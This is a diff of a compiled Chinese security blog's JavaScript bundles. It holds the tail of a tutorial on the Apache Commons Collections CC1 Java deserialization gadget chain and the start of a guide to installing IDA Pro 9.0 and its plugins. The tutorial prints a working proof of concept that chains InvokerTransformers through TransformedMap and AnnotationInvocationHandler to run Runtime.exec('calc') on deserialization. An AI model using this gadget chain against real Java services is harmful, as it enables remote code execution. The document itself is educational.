{\n//\t\t\u53cd\u5c04\u8c03\u7528 Runtime.exec("calc");\n// Class r = Runtime.class;\n// Method getRuntime = r.getMethod("getRuntime", null);\n// Object runtime = getRuntime.invoke(null, null);\n// Method exec = r.getMethod("exec", new Class[]{String.class});\n// Object calc = exec.invoke(runtime, new Object[]{"calc"});\n \n // \u6784\u9020 \u53ef\u5e8f\u5217\u5316\u7684 Transformer \u7c7b\u578b\u7684 Runtime.exec("calc");\n Transformer[] transformer_ = new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),\n new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),\n new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),\n };\n\n \n ChainedTransformer chainedTransformer = new ChainedTransformer(transformer_);\n\n // \u6784\u9020TransformedMap\n HashMap<Object, Object> objectObjectHashMap = new HashMap<>();\n objectObjectHashMap.put("value","value"); // \u5c06\u503c\u8bbe\u7f6e\u6210value\uff0c\u8fdb\u5165\u6761\u4ef6 \u9650\u5236\n // \u6dfb\u52a0\u88c5\u7532 \u5c06map \u8f6c\u5316\u6210 TransformedMap\n Map<?,?> decorateMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);\n \n // \u751f\u6210\u5bf9\u8c61 sun.reflect.annotation.AnnotationInvocationHandler\n Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor<?> annotationInvocationHandler = aClass.getDeclaredConstructor(Class.class, Map.class);\n annotationInvocationHandler.setAccessible(true);\n Object o = annotationInvocationHandler.newInstance(Target.class, decorateMap);\n serialize(o);\n unserialize("ser.bin");\n \n }\n\n\n // \u53cd\u5e8f\u5217\u5316\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));\n return objectInputStream.readObject();\n }\n // \u5e8f\u5217\u5316\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));\n objectOutputStream.writeObject(obj);\n }\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"3transformer",children:"3.Transformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Transformer"}),"\u662f",(0,s.jsx)(n.code,{children:"Commons Collections"}),"\u4e2d\u63d0\u4f9b\u7684\u4e00\u4e2a\u63a5\u53e3\u7c7b\uff0c\u53ea\u6709\u4e00\u4e2a\u5f85\u5b9e\u73b0\u7684",(0,s.jsx)(n.code,{children:"transform"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:"public interface Transformer {\n\n /**\n * Transforms the input object (leaving it unchanged) into some output object.\n *\n * @param input the object to be transformed, should be left unchanged\n * @return a transformed object\n * @throws ClassCastException (runtime) if the input is the wrong class\n * @throws IllegalArgumentException (runtime) if the input is invalid\n * @throws FunctorException (runtime) if the transform cannot be completed\n */\n public Object transform(Object input);\n\n}\n"})}),"\n",(0,s.jsx)(n.h3,{id:"4invokertransformer",children:"4.InvokerTransformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"InvokerTransformer"})," \u662f ",(0,s.jsx)(n.code,{children:"Transformer"}),"\u63a5\u53e3\u7684\u53ef\u5e8f\u5217\u5316\u7684\u5b9e\u73b0\u7c7b\uff0c\u5728\u6784\u9020\u65b9\u6cd5\u4e2d\u6709\u4e09\u4e2a\u53c2\u6570"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u7b2c\u2f00\u4e2a\u53c2\u6570\u662f\u5f85\u6267\u2f8f\u7684\u2f45\u6cd5\u540d"}),"\n",(0,s.jsx)(n.li,{children:"\u7b2c\u2f06\u4e2a\u53c2\u6570\u662f\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868\u7684\u53c2\u6570\u7c7b\u578b"}),"\n",(0,s.jsx)(n.li,{children:"\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u4f20\u7ed9\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u91cc\u9762\u8fd8\u63d0\u4f9b\u4e86\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"transform"}),"\u7684\u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u53ef\u4ee5\u901a\u8fc7Java\u53cd\u5c04\u673a\u5236\u6765\u8fdb\u884c\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'public Object transform(Object input) {\n if (input == null) {\n return null;\n }\n try {\n Class cls = input.getClass();\n Method method = cls.getMethod(iMethodName, iParamTypes);\n return method.invoke(input, iArgs);\n\n } catch (NoSuchMethodException ex) {\n throw new FunctorException("InvokerTransformer: The method \'" + iMethodName + "\' on \'" + input.getClass() + "\' does not exist");\n } catch (IllegalAccessException ex) {\n throw new FunctorException("InvokerTransformer: The method \'" + iMethodName + "\' on \'" + input.getClass() + "\' cannot be accessed");\n } catch (InvocationTargetException ex) {\n throw new FunctorException("InvokerTransformer: The method \'" + iMethodName + "\' on \'" + input.getClass() + "\' threw an exception", ex);\n }\n}\n\n'})}),"\n",(0,s.jsx)(n.h3,{id:"5chainedtransformer",children:"5.ChainedTransformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"ChainedTransformer"}),"\u662f ",(0,s.jsx)(n.code,{children:"Transformer"}),"\u63a5\u53e3\u7684\u53ef\u5e8f\u5217\u5316\u7684\u5b9e\u73b0\u7c7b\uff0c\u8be5\u7c7b\u7684transform\u65b9\u6cd5\u4e3a\u53ef\u5faa\u73af\u8c03\u7528iTransformers\u4e2d\u6bcf\u4e00\u4e2a\u503c\uff0c\u5c06\u5b83transform\u7684\u8fd4\u56de\u503c\u4f5c\u4e3a\u4e0b\u4e00\u4e2a\u7684\u4f20\u5165\u503c"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:" /**\n * Transforms the input to result via each decorated transformer\n * \n * @param object the input object passed to the first transformer\n * @return the transformed result\n */\n \npublic Object transform(Object object) {\n for (int i = 0; i < iTransformers.length; i++) {\n object = iTransformers[i].transform(object);\n }\n return object;\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"6constanttransformer",children:"6.ConstantTransformer"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"ConstantTransformer"}),"\u662f\u63a5\u53e3",(0,s.jsx)(n.code,{children:"Transformer"}),"\u7684\u5b9e\u73b0\u7c7b\uff0c\u5b83\u7684\u8fc7\u7a0b\u5c31\u662f\u5728\u6784\u9020\u51fd\u6570\u7684\u65f6\u5019\u4f20\u2f0a\u2f00\u4e2a\u5bf9\u8c61\uff0c\u5e76\u5728",(0,s.jsx)(n.code,{children:"transform"}),"\u2f45\u6cd5\u5c06\u8fd9\u4e2a\u5bf9\u8c61\u518d\u8fd4\u56de\uff0c\u5176\u5b9e\u5c31\u662f\u5305\u88c5\u4efb\u610f\u2f00\u4e2a\u5bf9\u8c61\uff0c\u5728\u6267\u2f8f\u56de\u8c03\u65f6\u8fd4\u56de\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u8fdb\u2f7d\u2f45\u4fbf\u540e\u7eed\u64cd\u4f5c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:" /**\n * Transforms the input by ignoring it and returning the stored constant instead.\n * \n * @param input the input object which is ignored\n * @return the stored constant\n */\n public Object transform(Object input) {\n return iConstant;\n }\n\n"})}),"\n",(0,s.jsx)(n.h3,{id:"7map",children:"7.Map"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Transform"}),"\u6765\u6267\u884c\u547d\u4ee4\u9700\u8981\u7ed1\u5b9a\u5230Map\u4e0a\uff0c\u62bd\u8c61\u7c7b",(0,s.jsx)(n.code,{children:"AbstractMapDecorator"}),"\u662fApache Commons Collections\u63d0\u4f9b\u7684\u4e00\u4e2a\u7c7b\uff0c\u5b9e\u73b0\u7c7b\u6709\u5f88\u591a\uff0c\u6bd4\u5982LazyMap\u3001TransformedMap\u7b49\uff0c\u8fd9\u4e9b\u7c7b\u90fd\u6709\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"decorate()"}),"\u65b9\u6cd5\uff0c\u7528\u4e8e\u5c06\u4e0a\u8ff0\u7684Transformer\u5b9e\u73b0\u7c7b\u7ed1\u5b9a\u5230Map\u4e0a\uff0c",(0,s.jsx)(n.strong,{children:"\u5f53\u5bf9Map\u8fdb\u884c\u4e00\u4e9b\u64cd\u4f5c\u65f6\uff0c\u4f1a\u81ea\u52a8\u89e6\u53d1Transformer\u5b9e\u73b0\u7c7b\u7684tranform()\u65b9\u6cd5\uff0c\u4e0d\u540c\u7684Map\u7c7b\u578b\u6709\u4e0d\u540c\u7684\u89e6\u53d1\u89c4\u5219\u3002"})]}),"\n",(0,s.jsx)(n.h4,{id:"transformedmap",children:"TransformedMap"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"TransformedMap"}),"\u8fd9\u4e2a\u7c7b\u662f\u7528\u6765\u5bf9",(0,s.jsx)(n.code,{children:"Map"}),"\u8fdb\u884c\u67d0\u4e9b\u53d8\u6362\uff08\u4fee\u9970\uff09\u7528\u7684\uff0c\u4f8b\u5982\u5f53\u6211\u4eec\u4fee\u6539",(0,s.jsx)(n.code,{children:"Map"}),"\u4e2d\u7684\u67d0\u4e2a\u503c\u65f6\uff0c\u5c31\u4f1a\u89e6\u53d1\u6211\u4eec\u9884\u5148\u5b9a\u4e49\u597d\u7684\u67d0\u4e9b\u64cd\u4f5c\u6765\u5bf9",(0,s.jsx)(n.code,{children:"Map"}),"\u8fdb\u884c\u5904\u7406\uff08\u56de\u8c03\uff09\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u901a\u8fc7**",(0,s.jsx)(n.code,{children:"decorate"}),"\u51fd\u6570**\u5c31\u53ef\u4ee5\u5c06\u4e00\u4e2a\u666e\u901a\u7684",(0,s.jsx)(n.code,{children:"Map"}),"\u8f6c\u6362\u4e3a\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"TransformedMap"}),"\u3002",(0,s.jsxs)(n.strong,{children:["\u7b2c\u4e8c\u4e2a\u53c2\u6570\u548c\u7b2c\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u5bf9\u5e94\u5f53",(0,s.jsx)(n.code,{children:"key"}),"\u6539\u53d8\u548c",(0,s.jsx)(n.code,{children:"value"}),"\u6539\u53d8\u65f6\u5bf9\u5e94transform\u51fd\u6570\u9700\u8981\u505a\u7684\u64cd\u4f5c"]}),"\uff1b"]}),"\n",(0,s.jsx)(n.h4,{id:"mapentry",children:"Map.Entry"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Map.Entry"}),"\u662fMap\u7684\u4e00\u4e2a\u5185\u90e8\u63a5\u53e3\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["Map.Entry\u662fMap\u58f0\u660e\u7684\u4e00\u4e2a\u5185\u90e8\u63a5\u53e3\uff0c\u6b64\u63a5\u53e3\u4e3a\u6cdb\u578b\uff0c\u5b9a\u4e49\u4e3a",(0,s.jsx)(n.code,{children:"Entry<K,V>"}),"\u3002\u5b83\u8868\u793aMap\u4e2d\u7684",(0,s.jsx)(n.code,{children:"\u4e00\u4e2a\u5b9e\u4f53\uff08\u4e00\u4e2akey-value\u5bf9\uff09"}),"\u3002\u63a5\u53e3\u4e2d\u6709",(0,s.jsx)(n.code,{children:"getKey()"}),"\u3001",(0,s.jsx)(n.code,{children:"getValue()"}),"\u65b9\u6cd5\u3002"]})]})}function m(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/8471094a.882bb762.js b/en/assets/js/8471094a.882bb762.js new file mode 100644 index 0000000..909bf4f --- /dev/null +++ b/en/assets/js/8471094a.882bb762.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4151],{3961:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png"},4954:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png"},7194:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png"},10013:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png"},11309:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png"},11469:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png"},12113:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png"},18422:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png"},20076:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png"},20697:(e,s,i)=>{i.r(s),i.d(s,{assets:()=>l,contentTitle:()=>t,default:()=>p,frontMatter:()=>c,metadata:()=>n,toc:()=>h});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","title":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/04.IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/04.IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883"},"next":{"title":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs"}}');var d=i(74848),a=i(28453);const c={},t="IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565",l={},h=[{value:"\u4e00\u3001\u5b89\u88c5IDA9.0\u4e2d\u6587\u7248",id:"\u4e00\u5b89\u88c5ida90\u4e2d\u6587\u7248",level:2},{value:"\u4e8c\u3001IDA\u63d2\u4ef6\u5b89\u88c5",id:"\u4e8cida\u63d2\u4ef6\u5b89\u88c5",level:2},{value:"1.IDA Feeds\u63d2\u4ef6\u5b89\u88c5",id:"1ida-feeds\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"2.LazyIDA\u63d2\u4ef6\u5b89\u88c5",id:"2lazyida\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"3.keypatch9.0\u63d2\u4ef6\u5b89\u88c5",id:"3keypatch90\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"4.patching\u63d2\u4ef6\u5b89\u88c5",id:"4patching\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"5.auto-enum\u63d2\u4ef6\u5b89\u88c5",id:"5auto-enum\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"6.hrtng\u63d2\u4ef6\u5b89\u88c5",id:"6hrtng\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"7.classinformer\u63d2\u4ef6\u5b89\u88c5",id:"7classinformer\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"8.deREferencing\u63d2\u4ef6\u5b89\u88c5",id:"8dereferencing\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"9.IDA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5",id:"9ida-dataexportplus\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"10.findhash\u63d2\u4ef6\u5b89\u88c5",id:"10findhash\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"11.WPeChatGP\u63d2\u4ef6\u5b89\u88c5",id:"11wpechatgp\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"12.HexRaysCodeXplorer\u63d2\u4ef6\u5b89\u88c5",id:"12hexrayscodexplorer\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"13.DA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5",id:"13da-dataexportplus\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"14.findcrypt-yara \u63d2\u4ef6\u5b89\u88c5",id:"14findcrypt-yara-\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"15.VulFi\u63d2\u4ef6\u5b89\u88c5",id:"15vulfi\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"16.SigMaker\u63d2\u4ef6\u5b89\u88c5",id:"16sigmaker\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"17.idaclu\u63d2\u4ef6\u5b89\u88c5",id:"17idaclu\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"18.bindiff\u63d2\u4ef6\u5b89\u88c5",id:"18bindiff\u63d2\u4ef6\u5b89\u88c5",level:3},{value:"19.ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528",id:"19ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528",level:3}];function r(e){const s={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(s.header,{children:(0,d.jsx)(s.h1,{id:"ida-pro-90-\u4e2d\u6587\u7a33\u5b9a\u7248\u4e00\u952e\u5b89\u88c5\u63d2\u4ef6\u5168\u653b\u7565",children:"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(s.table,{children:[(0,d.jsx)(s.thead,{children:(0,d.jsxs)(s.tr,{children:[(0,d.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(s.tbody,{children:(0,d.jsxs)(s.tr,{children:[(0,d.jsx)(s.td,{style:{textAlign:"left"},children:(0,d.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(s.td,{style:{textAlign:"left"},children:"2025-11-05 12:31:00"})]})})]}),"\n",(0,d.jsx)(s.p,{children:"\u514d\u5219\u58f0\u660e\uff1a\u672c\u516c\u4f17\u53f7\u5927\u90e8\u5206\u6587\u7ae0\u6765\u81ea\u4f5c\u8005\u65e5\u5e38\u5b66\u4e60\u7b14\u8bb0\uff0c\u4e5f\u6709\u90e8\u5206\u6587\u7ae0\u662f\u7ecf\u8fc7\u4f5c\u8005\u6388\u6743\u8f6c\u8f7d\u548c\u5176\u4ed6\u516c\u4f17\u53f7\u767d\u540d\u5355\u8f6c\u8f7d\uff0c\u5982\u9700\u8f6c\u8f7d\uff0c\u8054\u7cfb\u4f5c\u8005\u5f00\u767d\u3002"}),"\n",(0,d.jsx)(s.p,{children:"\u6587\u7ae0\u4e2d\u6d89\u53ca\u7684\u7a0b\u5e8f(\u65b9\u6cd5)\u53ef\u80fd\u5e26\u6709\u653b\u51fb\u6027\uff0c\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u6559\u5b66\u4e4b\u7528\uff0c\u8bfb\u8005\u5c06\u5176\u4fe1\u606f\u505a\u5176\u4ed6\u7528\u9014\uff0c\u7531\u7528\u6237\u627f\u62c5\u5168\u90e8\u6cd5\u5f8b\u53ca\u8fde\u5e26\u8d23\u4efb\uff0c\u6587\u7ae0\u4f5c\u8005\u4e0d\u627f\u62c5\u4efb\u4f55\u6cd5\u5f8b\u53ca\u8fde\u5e26\u8d23\u4efb\u3002"}),"\n",(0,d.jsx)(s.h2,{id:"\u4e00\u5b89\u88c5ida90\u4e2d\u6587\u7248",children:"\u4e00\u3001\u5b89\u88c5IDA9.0\u4e2d\u6587\u7248"}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u662f\u9700\u8981\u5b89\u88c5\u63d2\u4ef6\u4e2d\u7684 python\u5305\uff1apython-3.11.9-amd64.exe"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000529663",src:i(50125).A+"",width:"782",height:"485"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u518d\u5b89\u88c5IDA Professional 9.0\u4e2d\u6587\u7248"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000136174",src:i(11469).A+"",width:"610",height:"463"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000208749",src:i(86077).A+"",width:"845",height:"553"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000342621",src:i(72884).A+"",width:"976",height:"663"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000444125",src:i(51906).A+"",width:"1080",height:"845"})}),"\n",(0,d.jsx)(s.h2,{id:"\u4e8cida\u63d2\u4ef6\u5b89\u88c5",children:"\u4e8c\u3001IDA\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.h3,{id:"1ida-feeds\u63d2\u4ef6\u5b89\u88c5",children:"1.IDA Feeds\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u8fdb\u5165idalib\u76ee\u5f55\uff0c\u7136\u540e\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5\uff1a"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"pip install ../idalib/python/.\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916213758547",src:i(77141).A+"",width:"1080",height:"439"})}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"python . . / idalib/python/py-activate-idalib.py\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916215342914",src:i(41551).A+"",width:"1035",height:"259"})}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-sh",children:"pip install -r ../plugins/ida_feeds/requirements.txt -i https://mirrors.aliyun.com/pypi/simple/\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916215427977",src:i(74772).A+"",width:"1080",height:"364"})}),"\n",(0,d.jsx)(s.p,{children:"\u63d2\u4ef6\u5728Edit>plugins>IDA Feeds\u542f\u52a8"}),"\n",(0,d.jsx)(s.h3,{id:"2lazyida\u63d2\u4ef6\u5b89\u88c5",children:"2.LazyIDA\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06ida\u4e2d\u6570\u636e\u5feb\u901f\u5bfc\u51fa\u4e3a\u591a\u79cd\u683c\u5f0f\uff0cconvert\u5feb\u901f\u63d0\u53d6\u6570\u636e\u7b49"}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06LazyIDA.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef\uff08",(0,d.jsx)(s.a,{href:"https://github.com/L4ys/LazyIDA%EF%BC%89",children:"https://github.com/L4ys/LazyIDA\uff09"})]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134443405",src:i(44723).A+"",width:"543",height:"610"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916224356420",src:i(12113).A+"",width:"632",height:"627"})}),"\n",(0,d.jsx)(s.h3,{id:"3keypatch90\u63d2\u4ef6\u5b89\u88c5",children:"3.keypatch9.0\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"patch\u6307\u4ee4\u65b9\u4fbf"}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u662f\u9700\u8981\u5b89\u88c5 keystone-engine\u548csix python\u5e93\uff0c\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5\uff1a"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"pip install keystone-engine -i https://mirrors.aliyun.com/pypi/simple/\n\npip install six -i https://mirrors.aliyun.com/pypi/simple/\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u5c06Keypatch.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134622103",src:i(86503).A+"",width:"492",height:"598"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916224641481",src:i(18422).A+"",width:"710",height:"641"})}),"\n",(0,d.jsx)(s.h3,{id:"4patching\u63d2\u4ef6\u5b89\u88c5",children:"4.patching\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u4e8c\u8fdb\u5236\u6307\u4ee4\u96c6\u8865\u4e01\u5de5\u5177\uff0c\u6bd4keypatch\u597d\u7528\u4e9b"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/gaasedelen/patching\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134726193",src:i(65343).A+"",width:"619",height:"637"})}),"\n",(0,d.jsx)(s.p,{children:"\u5c06Patching\u6587\u4ef6\u5939\u548cPatching.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"5auto-enum\u63d2\u4ef6\u5b89\u88c5",children:"5.auto-enum\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u81ea\u52a8\u6062\u590d\u5e38\u89c1api\u7684\u679a\u4e3e\u53d8\u91cf"}),"\n",(0,d.jsx)(s.p,{children:"\u4e0b\u8f7d\u540e\u5c06\u9879\u76eeplugin\u76ee\u5f55\u5185\u7684\u6240\u6709\u6587\u4ef6:"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-2025091713482